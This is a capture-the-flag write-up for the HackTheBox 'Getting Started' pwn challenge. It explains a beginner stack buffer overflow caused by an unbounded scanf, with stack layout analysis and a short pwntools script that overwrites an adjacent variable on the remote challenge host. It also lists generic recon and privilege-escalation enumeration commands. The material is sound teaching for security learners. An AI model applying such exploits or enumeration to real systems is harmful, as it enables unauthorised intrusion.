Getting Started

Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-29 | Status: Solved Techniques: buffer_overflow, stack_layout_analysis, variable_corruption

Summary

Task: Tutorial challenge with 64-bit ELF binary using scanf without length check. Solution: Buffer overflow to overwrite adjacent stack variable and trigger win condition.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: hackthebox | ID: 20260129_hackthebox_getting_started
• Tags: buffer_overflow, variable_overwrite, beginner, stack
• Indicators: scanf %s without length, adjacent stack variables, comparison with magic value, no canary
• Source: 20260129_hackthebox_getting_started.md

Foothold

Vulnerability / Misconfiguration

1. Buffer_overflow
2. Stack_layout_analysis
3. Variable_corruption

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• buffer_overflow
• stack_layout_analysis
• variable_corruption
• Tags: buffer_overflow, variable_overwrite, beginner, stack

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Tutorial challenge for learning buffer overflow basics. Binary file gs — 64-bit ELF with PIE and NX enabled, but no stack canary.

Target: 94.237.63.176:35784

Binary Security

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        PIE enabled

Analysis

Stack Layout (from main function)

rbp-0x30 (offset -48): Buffer[32 bytes]     <- user input
rbp-0x10 (offset -16): Alignment[8 bytes]   <- initialized to 0x6969696969696969
rbp-0x08 (offset -8):  Target[8 bytes]      <- initialized to 0xdeadbeef
rbp:                   Saved RBP
rbp+0x08:              Return address

Vulnerability

The program uses scanf("%s") to read user input into a buffer without length checking — classic buffer overflow.

Win Condition

17c5: movl    $0xdeadbeef, %eax
17ca: cmpq    %rax, -0x8(%rbp)    ; compare target with 0xdeadbeef
17ce: jne     0x17dc              ; if NOT equal — jump to win
17dc: callq   0x11f5 <win>        ; win() reads and prints flag.txt

If the target value is changed from 0xdeadbeef to anything else — the win() function is called.

Exploitation

Offset Calculation

• Buffer starts at rbp-48
• Target is at rbp-8
• Distance = 48 - 8 = 40 bytes

Payload

Send 40 bytes to fill buffer (32) + alignment (8), then any additional bytes overwrite target.

[AAAA...AAAA][BBBBBBBB][CCCCCCCC]
 Buffer(32)   Align(8)  Target(8) <- overwritten!

Solution

#!/usr/bin/env python3
from pwn import *

IP = '94.237.63.176'
PORT = 35784

r = remote(IP, PORT)

# 40 bytes to target, then overwrite it
payload = b'A' * 40 + b'BBBBBBBB'

r.recvuntil(b'>')
r.sendline(payload)

r.recvuntil(b'HTB{', timeout=5)
flag = b'HTB{' + r.recvuntil(b'}')
success(f'Flag: {flag.decode()}')
r.close()

Lessons

1. Stack layout — variables on the stack are arranged sequentially, buffer overflow affects adjacent variables
2. Simplest BOF — no control flow hijacking needed, just changing a value is enough
3. Checksec — always check binary protections before exploitation

Challenge Files

• gs — 64-bit ELF binary
• wrapper.py — exploit template
• flag.txt — local test flag
• glibc/ — provided libc files

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR